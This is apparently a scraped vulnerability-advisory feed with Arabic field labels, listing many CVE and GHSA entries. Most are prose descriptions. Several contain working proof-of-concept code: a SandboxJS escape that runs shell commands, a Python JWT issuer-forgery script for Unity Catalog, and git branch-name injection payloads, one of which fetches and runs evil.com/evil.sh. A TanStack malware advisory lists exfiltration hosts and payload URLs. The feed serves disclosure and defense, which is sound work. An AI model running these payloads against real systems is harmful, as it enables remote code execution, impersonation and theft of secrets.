الوصف الكامل

Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. The vulnerability arose because the secret access credentials were not based on a secure cryptographic scheme, but rather on a weak hashing algorithm, which could allow an attacker to carry out a privilege escalation.

نوع الثغرة

CWE-327 — Weak Crypto

CVSS Vector

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could have been exploited by a remote attacker to gain full administrative access to the database. Exploitation required network access to the AlloyDB cluster and was limited to Terraform or the REST API, as other clients blocked it.

نوع الثغرة

CWE-1392 — CWE-1392

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber

المراجع

الوصف الكامل

A vulnerability has been identified in ROS# (All versions < V2.2.2). Affected versions contain a path traversal vulnerability because user input is not properly sanitized. This could allow a remote attacker to access arbitrary files on the device.

نوع الثغرة

CWE-23 — Path Traversal

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

Affected devices do not properly validate and sanitize Technology Object (TO) name rendered on the "Motion Control Diagnostics" page of the web interface. This could allow an authenticated attacker who is authorized to download a TIA project into the product, to inject malicious scripts into the page. If a benign user with appropriate rights accesses the "Motion Control Diagnostics" parameters page, the malicious code would be executed in the scope of their web session.

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

Affected devices do not properly validate and sanitize PLC/station name rendered on the "communication" parameters page of the web interface. This could allow an authenticated attacker who is authorized to download a TIA project into the product, to inject malicious scripts into the page. If a benign user with appropriate rights accesses the "communication" parameters page, the malicious code would be executed in the scope of their web session.

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.

نوع الثغرة

CWE-306 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

المراجع

الوصف الكامل

Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Akilli Commerce Software Technologies Ltd. Co. E-Commerce Website allows SQL Injection. This issue affects E-Commerce Website: before 4.5.001.

نوع الثغرة

CWE-89 — SQL Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.1), RUGGEDCOM ROX MX5000RE (All versions < V2.17.1), RUGGEDCOM ROX RX1400 (All versions < V2.17.1), RUGGEDCOM ROX RX1500 (All versions < V2.17.1), RUGGEDCOM ROX RX1501 (All versions < V2.17.1), RUGGEDCOM ROX RX1510 (All versions < V2.17.1), RUGGEDCOM ROX RX1511 (All versions < V2.17.1), RUGGEDCOM ROX RX1512 (All versions < V2.17.1), RUGGEDCOM ROX RX1524 (All versions < V2.17.1), RUGGEDCOM ROX RX1536 (All versions < V2.17.1), RUGGEDCOM ROX RX5000 (All versions < V2.17.1). Affected devices do not properly sanitize user-supplied input in the Scheduler functionality of the Web UI, allowing commands to be injected into the task scheduling backend. This could allow an authenticated remote attacker to execute arbitrary commands with root privileges on the underlying operating system.

نوع الثغرة

CWE-78 — OS Command Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

"Kura Sushi Official App" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server.

نوع الثغرة

CWE-295 — Certificate Validation

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

Due to improper Spring Security configuration, SAP Commerce cloud allows an unauthenticated user to perform malicious configuration upload and code injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.

نوع الثغرة

CWE-459 — CWE-459

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.

نوع الثغرة

CWE-89 — SQL Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H

المراجع

الوصف الكامل

## Summary On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 `@tanstack/*` packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for `TanStack/router`, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a `pull_request_target` "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart. ## Impact A user installing any affected version executes a payload (~2.3 MB obfuscated `router_init.js`) at install time that: - Harvests credentials from common locations: - AWS instance metadata (IMDS) and Secrets Manager - GCP metadata service - Kubernetes service-account tokens - HashiCorp Vault tokens - `~/.npmrc` (npm tokens) - GitHub tokens (env vars, `gh` CLI config, `.git-credentials`) - SSH private keys (`~/.ssh/`) - Exfiltrates harvested data over the Session/Oxen messenger file-upload network (`filev2.getsession.org`, `seed{1,2,3}.getsession.org`). This is end-to-end encrypted with no attacker-controlled C2, so blocking by IP or domain is the only network mitigation. - Enumerates packages that the victim maintains via `registry.npmjs.org/-/v1/search?text=maintainer:<user>` and republishes them with the same injection, propagating the compromise across npm. Any developer or CI environment that ran `npm install`, `pnpm install`, or `yarn install` against an affected version on 2026-05-11 should be considered compromised. All credentials accessible to the install process should be rotated immediately. Cloud audit logs should be reviewed for activity originating from the affected hosts during and after the install window. ## Detection Inspect the published manifest of any pinned `@tanstack/*` version. Malicious manifests contain this exact `optionalDependencies` entry: ```json "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" } ``` To check a version without running install scripts: ```bash npm pack @tanstack/<name>@<version> # downloads tarball; does NOT execute lifecycle scripts tar -xzf *.tgz grep -A3 optionalDependencies package/package.json ls -la package/router_init.js # malicious payload, ~2.3 MB, present at package root ``` The payload file `router_init.js` is approximately 2.3 MB of obfuscated JavaScript. It is placed at the tarball root and is intentionally not declared in the package's `"files"` array, so it does not appear in the package's documented contents. ## Mechanism `@tanstack/setup` is not a real package on the npm registry. The `github:tanstack/router#79ac49ee...` specifier resolves to an orphan commit pushed to a fork in the `tanstack/router` GitHub fork network. GitHub serves commits across the entire fork network for git-URL dependencies, so the attacker did not require write access to `TanStack/router` itself — only the ability to fork and push to their own fork. When npm processes the optional dependency, it: 1. Fetches the orphan commit from the fork network. 2. Installs the commit's declared dependencies (which include a real `bun` binary). 3. Runs the commit's `prepare` lifecycle script: `bun run tanstack_runner.js && exit 1`. The trailing `exit 1` causes the optional install to fail, after which npm silently discards it — leaving no `node_modules` trace. 4. The `tanstack_runner.js` script in turn executes `router_init.js` from the host package's tarball. ## Patches Affected versions are being deprecated on npm with a `SECURITY:` notice. Where npm policy allows (no existing third-party dependents), affected versions are also being unpublished. The npm security team has been engaged to pull tarballs server-side for versions that cannot be unpublished. Clean follow-up releases are being prepared. Update to the patched version listed in the affected-products table for each package, then reinstall from a clean lockfile. ## Workarounds Until clean follow-up releases are available: - Pin every `@tanstack/*` dependency to a known-good version published before 2026-05-11 19:00 UTC. The last known-good version for most affected packages was published on 2026-03-15. - Delete `node_modules` and the lockfile, then reinstall to ensure no transitive dependency resolves to a malicious version. - Configure npm to skip lifecycle scripts on install (`npm config set ignore-scripts true`) as a temporary defense-in-depth measure. - For CI, audit any pipeline that ran `install` against `@tanstack/*` between 19:20 and 19:30 UTC on 2026-05-11. Treat the runner as compromised and rotate any secrets it had access to. ## Indicators of compromise | Indicator | Value | |---|---| | Malicious git ref | `github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c` | | Fictitious package name | `@tanstack/setup` | | Payload filename | `router_init.js` (~2.3 MB, package root, undeclared in `files`) | | Helper filename in orphan commit | `tanstack_runner.js` | | Exfiltration network | `filev2.getsession.org`, `seed1.getsession.org`, `seed2.getsession.org`, `seed3.getsession.org` | | Second-stage payload URLs | `https://litter.catbox.moe/h8nc9u.js`, `https://litter.catbox.moe/7rrc6l.mjs` | | Poisoned cache key | `Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11` | | Publish window (UTC) | 2026-05-11 19:20 — 19:26 | | Publish mechanism | GitHub Actions OIDC trusted publisher (`oidc:db7d6f54-05d5-412b-8a10-e7a8398b303e`) | | Workflow runs | https://github.com/TanStack/router/actions/runs/25613093674 (attempt 4), https://github.com/TanStack/router/actions/runs/25691781302 | | Attacker GitHub accounts | `zblgg` (id 127806521), `voicproducoes` (id 269549300) | | Attacker fork (renamed to evade detection) | https://github.com/zblgg/configuration | ## Credits - The security researcher who initially disclosed the vulnerability publicly with detailed analysis at https://github.com/TanStack/router/issues/7383 ## References - Public incident tracking issue: https://github.com/TanStack/router/issues/7383 - Related research: - Adnan Khan, "The Monsters in Your Build Cache: GitHub Actions Cache Poisoning" (May 2024) - GitHub Security Lab, "Keeping your GitHub Actions and workflows secure: Preventing Pwn Requests" - StepSecurity, "tj-actions/changed-files action is compromised" (March 2025) — the malicious payload reuses this incident's runner-memory extraction technique verbatim

الإصدارات المتأثرة

1.166.12

نوع الثغرة

CWE-506 — Malicious Code

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., j&#x61;vascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

المراجع

الوصف الكامل

DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target="_blank" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.

نوع الثغرة

CWE-287 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

### Summary Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. ### Details In [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ```js function f(){ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The leaked callback accepts a **params** object from the attacker and uses its fields without any authentication checks. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ### PoC ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` ### Impact _Sandbox escape leads to RCE_

الإصدارات المتأثرة

All versions < 0.9.6

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

**Context:** A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider. **Way to exploit:** An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to. Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used. **Example** Example implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint. This can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup. ```python #!/usr/bin/env python3 """Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version""" import base64, secrets, threading, time from datetime import datetime, timedelta, timezone import jwt, requests from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from flask import Flask, jsonify TARGET_USER = "user@example.com" UC_SERVER = "http://localhost:8080" PORT = 8888 ISSUER = f"http://localhost:{PORT}" # Generate RSA key pair key = rsa.generate_private_key(public_exponent=65537, key_size=2048) kid = secrets.token_hex(8) # Create JWKS pub = key.public_key().public_numbers() def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode() jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]} # Create malicious JWT token = jwt.encode( {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog", "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)}, key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()), algorithm="RS256", headers={"kid": kid} ) # Start minimal OIDC server app = Flask(__name__) app.logger.disabled = True @app.route("/.well-known/openid-configuration") def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"}) @app.route("/jwks") def keys(): return jsonify(jwks) threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start() time.sleep(1) # Exchange token resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens", data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "requested_token_type": "urn:ietf:params:oauth:token-type:access_token", "subject_token_type": "urn:ietf:params:oauth:token-type:id_token", "subject_token": token}) if resp.status_code == 200: access_token = resp.json()["access_token"] print(f"[+] Got access token as '{TARGET_USER}'") # Demo: list catalogs catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs", headers={"Authorization": f"Bearer {access_token}"}) print(catalogs.json()) else: print(f"[-] Failed: {resp.status_code} {resp.text}") ```

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.2.1, 0.3.0, 0.3.1

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)

الإصدارات المتأثرة

All versions < 9.24.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

### Summary Hi, there. We've found PHP Serialize Injections in your project “torrentpier". According to the OWASP, it can pose a significant risk: enable an attacker to modify serialized objects in order to inject malicious data into the application code, resulting in code execution or an arbitrary reading of the file on any vulnerable system. ### Details In the attachment you can find a report with the number of vulnerabilities, their types and the vulnerable files. To view the lines of vulnerable code you may scan your project with the "[PHP Secure](https://phpsecure.net/?utm_source=github&utm_term=torrentpier&utm_content=torrentpier)" vulnerability scanner with a full access to it. ### PoC <img width="663" alt="Screenshot 2023-09-25 at 11 12 32 AM" src="https://user-images.githubusercontent.com/118765013/270273991-4a2c3884-3ab0-48ad-af77-3f3dbfa64e2a.png"> <img width="661" alt="Screenshot 2023-09-25 at 11 12 43 AM" src="https://user-images.githubusercontent.com/118765013/270274006-247ed9d3-2dc0-4a87-8f1f-89079c8be165.png"> <img width="664" alt="Screenshot 2023-09-25 at 11 12 53 AM" src="https://user-images.githubusercontent.com/118765013/270274018-b99d6ec2-4c5a-439f-b089-9e11345e963d.png"> <img width="662" alt="Screenshot 2023-09-25 at 11 13 13 AM" src="https://user-images.githubusercontent.com/118765013/270274023-36ecffc7-215d-41db-b3ba-6aa677e644d3.png"> ### About Us We are a team of developers of the PHP Secure vulnerability scanner. First, we checked your code automatically. Then we reviewed the vulnerable code more deeply manually and felt it was necessary to report about it to you. We suggest you scanning your code and address vulnerabilities as soon as possible to prevent a potential breach. If you have any questions, email us at support@phpsecure.net"

الإصدارات المتأثرة

2.3.0.4-beta, 2.3.0.4-beta2, v2.2.0, v2.2.1, v2.2.2

المراجع

الوصف الكامل

Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules. Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs. Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record. Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced. This issue affects pgAdmin 4: before 9.15.

نوع الثغرة

CWE-284 — CWE-284

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.

نوع الثغرة

CWE-95 — CWE-95

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

### Impact The CloudNativePG metrics exporter opens its PostgreSQL connection as the `postgres` superuser via the pod-local Unix socket, then demotes the session with `SET ROLE pg_monitor`. `SET ROLE` changes only `current_user`; `session_user` remains `postgres`. That residual superuser identity is the foothold for the rest of the chain. Any SQL expression evaluated inside the scrape session can invoke `RESET ROLE` to recover real superuser privileges, then use `COPY ... TO PROGRAM` to spawn an OS-level subprocess as the `postgres` user inside the primary pod. The `READ ONLY` transaction flag does not block this; it gates writes to database state, not external processes. Two exploitation paths follow from this root cause. #### Path 1: custom metric queries with unqualified identifiers (all supported releases) A database user who owns a schema on the `search_path` of any scraped database can plant a shadow object whose name matches an unqualified identifier in a custom metric query. When the exporter next evaluates that query, the shadow expression executes inside the `session_user = postgres` scrape session, giving the attacker PostgreSQL superuser privileges and OS command execution inside the primary pod within one scrape interval (≤30 s). Exploitability requires a custom metric query that contains an unqualified relation or function reference. Although `search_path` shadowing of unqualified identifiers is the most direct case, the underlying bug is that any expression evaluated inside the scrape session is a superuser code path. Other exploitable shapes include user-defined functions, operators or casts resolved during the scrape, joins or subqueries against user-owned tables and views, and index expressions or RLS policies on read-touched objects. #### Path 2: stock `default-monitoring.yaml` (all supported releases, no custom metrics required) The `pg_extensions` metric shipped in `default-monitoring.yaml` used an unqualified `current_database()` call and ran against every user database (`target_databases: '*'`). Any non-superuser who owns a user database (including the default `app` role created by `bootstrap.initdb`) could shadow `current_database()` and trigger the full escalation chain against a stock CNPG deployment on the first scrape after the shadow was planted. #### Combined impact The chain yields privilege escalation from a low-privileged database role (e.g. the default `app` role) to PostgreSQL superuser, plus arbitrary OS command execution as the `postgres` user inside the primary pod, all within one scrape interval. A web application SQL injection vulnerability in an app backed by a CNPG cluster is therefore sufficient to pivot to database-pod RCE. #### Who is impacted - All deployments on any supported release with default monitoring enabled are affected by Path 2. - All deployments on any supported release that use custom metric queries containing unqualified catalog references are affected by Path 1. - Multi-tenant platforms that allow customers to supply or influence custom metric query bodies are at the highest risk for Path 1. ### Patches Three separate patches address the vulnerability. #### Patch 1: PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" Schema-qualifies all unqualified `pg_catalog` function and view references in the shipped `default-monitoring.yaml` and in documentation examples. This closes Path 2 in operator-shipped configuration and removes the unqualified-identifier attack surface from all operator-shipped metric queries. Operators who clone or copy `default-monitoring.yaml` into custom monitoring `ConfigMap`s, or have copy-pasted unqualified queries elsewhere, must re-qualify those queries themselves. Backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) #### Patch 2: "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" Introduces a dedicated `cnpg_metrics_exporter` PostgreSQL role (granted `pg_monitor`, no superuser privileges) and maps it in `pg_ident.conf` via peer authentication on the local Unix socket, following the same pattern already used for `cnpg_pooler_pgbouncer`. The metrics exporter connects as this role instead of `postgres`, so `session_user` is never a superuser and `RESET ROLE` has no escalation effect. This eliminates the root cause entirely. Demoting the session at the SQL level (via `SET SESSION AUTHORIZATION pg_monitor`) is not sufficient: the privilege check for `SET SESSION AUTHORIZATION` is whether the *authenticated* user is a superuser, not the current `session_user`. With the connection still authenticated as `postgres`, any SQL in the session can run `RESET SESSION AUTHORIZATION` and recover the original superuser identity. This is the same recovery primitive as `RESET ROLE`, one layer up. Only changing the authenticated user closes the loop. With this change in place, the original chain breaks at every step: `RESET ROLE` and `RESET SESSION AUTHORIZATION` cannot recover superuser, and `COPY ... TO PROGRAM` requires a privilege `pg_monitor` does not grant. As defense in depth, the monitoring transaction also prepends `pg_catalog` to the connection's `search_path`, so unqualified catalog identifiers cannot resolve to user-planted shadow objects. This patch changes the connection identity but not how queries are evaluated. Custom metric queries within `pg_monitor`'s scope (catalog reads, `pg_stat_*` views, settings) continue to work without modification. Queries that previously relied on superuser-level access (reading user-owned tables not granted to `cnpg_metrics_exporter`, or superuser-only catalogs such as `pg_authid` or `pg_subscription`) will fail and need explicit `GRANT` statements to `cnpg_metrics_exporter`. The role is created and maintained with `PASSWORD NULL`; any password set out-of-band is cleared on the next reconcile, so the role cannot be authenticated by password regardless of operator pre-creation. For replica clusters, upgrade the source primary cluster before any replica clusters that consume from it. The `cnpg_metrics_exporter` role is created on the source primary and replicates downstream; a replica cluster upgraded first will scrape against a missing role until the source primary upgrades or the role is created manually (see the monitoring documentation). The patch will be backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) ### Workarounds If upgrading immediately is not possible: 1. **Schema-qualify all identifiers in custom metric queries.** Use explicit `pg_catalog.` prefixes for all catalog functions and views (e.g. `pg_catalog.current_database()`, `pg_catalog.now()`). This is a partial mitigation: it closes the `search_path`-shadowing shape in operator- and user-supplied metric bodies, but other expression shapes (user-defined functions, operators or casts; joins or subqueries on user-owned tables and views; 